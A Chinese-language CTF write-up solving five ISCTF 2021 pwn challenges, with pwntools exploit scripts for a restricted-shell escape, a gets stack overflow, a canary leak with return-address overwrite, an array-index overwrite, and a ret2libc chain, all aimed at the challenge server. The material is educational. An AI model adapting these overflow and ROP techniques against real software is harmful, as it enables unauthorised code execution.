杰哥的nc 一道有意思的nc题目,没有给我们附件,直接nc连接一下
$ python3 nc_exp.py [+] Opening connection to challenge.imxbt.cn on port 30501: Done [*] Switching to interactive mode $ ls bin dev flag lib lib64 pwn [*] Got EOF while reading in interactive $
输入一次ls后,就退出程序,此时发现了flag文件,是不是直接cat flag就能获得flag?试一下
$ python3 nc_exp.py [+] Opening connection to challenge.imxbt.cn on port 30501: Done [*] Switching to interactive mode $ cat flag $ ls ls $
发现并没有给flag,而是只执行了一个裸的cat命令,因为当cat没带文件参数时,会从stdin读,因此我们输入ls,它就会读取这个ls并将其输出出来。此时我猜测这个程序是不是只能执行第一个指令,下面来验证一下这个猜想是否成立
$ python3 nc_exp.py [+] Opening connection to challenge.imxbt.cn on port 30501: Done [*] Switching to interactive mode $ ls -l bin dev flag lib lib64 pwn [*] Got EOF while reading in interactive $ [*] Closed connection to challenge.imxbt.cn port 30501 $ ls -l total 4 -rwxrwxrwx 1 haoo haoo 73 Apr 24 09:01 nc_exp.py
由此可知我的猜测完全正确,我们并没有获取到真正的shell,输入/bin/sh或者$0启动一个真正的shell,接着再读取flag就行了。exp如下:
from pwn import* io = remote("challenge.imxbt.cn",30501) io.sendline(b"/bin/sh") io.sendline(b"cat flag") io.interactive()
救救小肥鲨吧 $ checksec help_my_shark [*] '/mnt/d/国内赛/ISCTF_2021/help_my_shark' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位没有开启什么保护,将其放入ida里面看一下
int __cdecl func(int a1) { char s[36]; // [esp+0h] [ebp-28h] BYREF printf("help me : "); gets(s); if ( a1 == 0xBEECAFEE ) return system("/bin/sh"); else return puts("Oh,no"); }
存在gets函数,说明有栈溢出漏洞,存在system函数和”/bin/sh”字符串,因此思路就是利用栈溢出覆盖返回地址为system函数的地址,再将”/bin/sh”字符串作为参数传入system函数里面,从而获取shell。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='i386', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./help_my_shark' #libc_file='' elf=ELF('./help_my_shark') #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=30774 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) system_addr = elf.plt['system'] bin_sh = 0x080485EB #gdb.attach(io) payload = cyclic(0x28 + 4) + p32(system_addr) + p32(0) + p32(bin_sh) sl(payload) #连接 #-------------------------------------------------------------------------------- ioi()
金丝雀 [*] '/mnt/d/国内赛/ISCTF_2021/金丝雀' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments SHSTK: Enabled IBT: Enabled Stripped: No
一道64位题目,开启了canary保护,但没有开启NX保护,可以只要知道栈上的地址,感觉就可以打shellcode,放入ida中看看
int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE buf_[32]; // [rsp+0h] [rbp-50h] BYREF char buf[40]; // [rsp+20h] [rbp-30h] BYREF unsigned __int64 v6; // [rsp+48h] [rbp-8h] v6 = __readfsqword(0x28u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); puts("Welcome ISCTF!"); puts("Tell me your name"); read(0, buf, 0x100u); printf("Ok %s,Do you kown PWN?,It's 0x464c4147 right!\n", buf); read(0, buf_, 0x100u); puts("Ok bey!"); return 0; }
存在明显的栈溢出,而且可以利用printf函数泄漏canary的值,再仔细观察可以发现catflag函数
int catflag() { return system("/bin/sh"); }
那么思路就明确了,首先通过printf函数泄露出canary的值,接着再利用栈溢出覆盖返回地址为catflag函数的地址,获取shell即可。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./金丝雀' #libc_file='' elf=ELF('./金丝雀') #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=32477 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) #gdb.attach(io) catflag_addr = 0x4011D6 ret = 0x000000000040101a payload = b"a"*40 sl(payload) io.recvuntil(b"a"*40) canary = u64(io.recv(8)) - 0xa leak("canary",canary) payload = cyclic(0x50 - 8) + p64(canary) + p64(ret) + p64(ret) + p64(catflag_addr) sl(payload) #连接 #-------------------------------------------------------------------------------- ioi()
Diceney-level1 这道题是一个猜数的程序,当变量win为20时,就可以获得shell了。
int input; // [rsp+8h] [rbp-28h] int win; // [rsp+Ch] [rbp-24h] *(&input + i % 4) = input;
发现了一个关键点,就是我们输入的input的值会赋值给*(&input + i % 4)处的变量,而win在&input+1处,因此只需要i%4等于1,此时我们输入20,就相当于把20赋值给了win,从而我们就可以获得shell了。exp如下:
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./Diceney-level1' #libc_file='' elf=ELF('./Diceney-level1') #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=31068 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) #gdb.attach(io) sl(b"1") sl(b"20") #连接 #-------------------------------------------------------------------------------- ioi()
小肥鲨的疑惑 一道简单的ret2libc题目,直接打就行了
#导入所需库 #-------------------------------------------------------------------------------- from pwn import* from LibcSearcher import* from ctypes import* from struct import* import time #设置context #-------------------------------------------------------------------------------- context(arch='amd64', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h']) #设置是否本地还是远程,并操作、解析相应文件 #-------------------------------------------------------------------------------- pwn_file='./小肥鲨的疑惑' #libc_file='' elf=ELF('./小肥鲨的疑惑') #libc=ELF(libc_file) #rop=ROP(libc) flag=0 if flag: io=process(pwn_file) else: ip='challenge.imxbt.cn' port=30687 io=remote(ip,port) #设置自定义函数 #-------------------------------------------------------------------------------- #gdb调试 def debug(): #gdb.attach(io) #gdb.attach(io,'b *$rebase(0x1234)') #gdb.attach(io,'b main') pause() #lambda表达式 s = lambda data : io.send(data) sa = lambda delim,data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim,data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) rl = lambda : io.recvline() ru = lambda delims, drop = True : io.recvuntil(delims, drop) leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr)) ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00')) ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00')) uu64 = lambda data : u64(data.ljust(8,b'\x00')) uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) i32 = lambda data : int(io.recv(data), 16) i64 = lambda data : int(io.recv(data), 16) ioi = lambda : io.interactive() #获取libc函数地址 def libc_func_addr(base,func): return base+libc.sym['func'] #简单的shellcode+orw def shell(): return asm(shellcraft.sh()) def orw(flag_file_name,addr,count): return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count)) pop_rdi = 0x0000000000400783 ret = 0x0000000000400506 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main = 0x4006D4 io.recvuntil("Now start your play:\n\n") payload = cyclic(0x20+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) sl(payload) leak_addr = io.recvuntil(b'\n', drop=True) puts_addr = u64(leak_addr.ljust(8, b'\x00')) libc_base = puts_addr - 0x06f6a0 leak("libc_base",libc_base) bin_sh = libc_base + 0x18ce57 system = libc_base + 0x0453a0 payload = cyclic(0x28) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(0) sl(payload) #连接 #-------------------------------------------------------------------------------- ioi()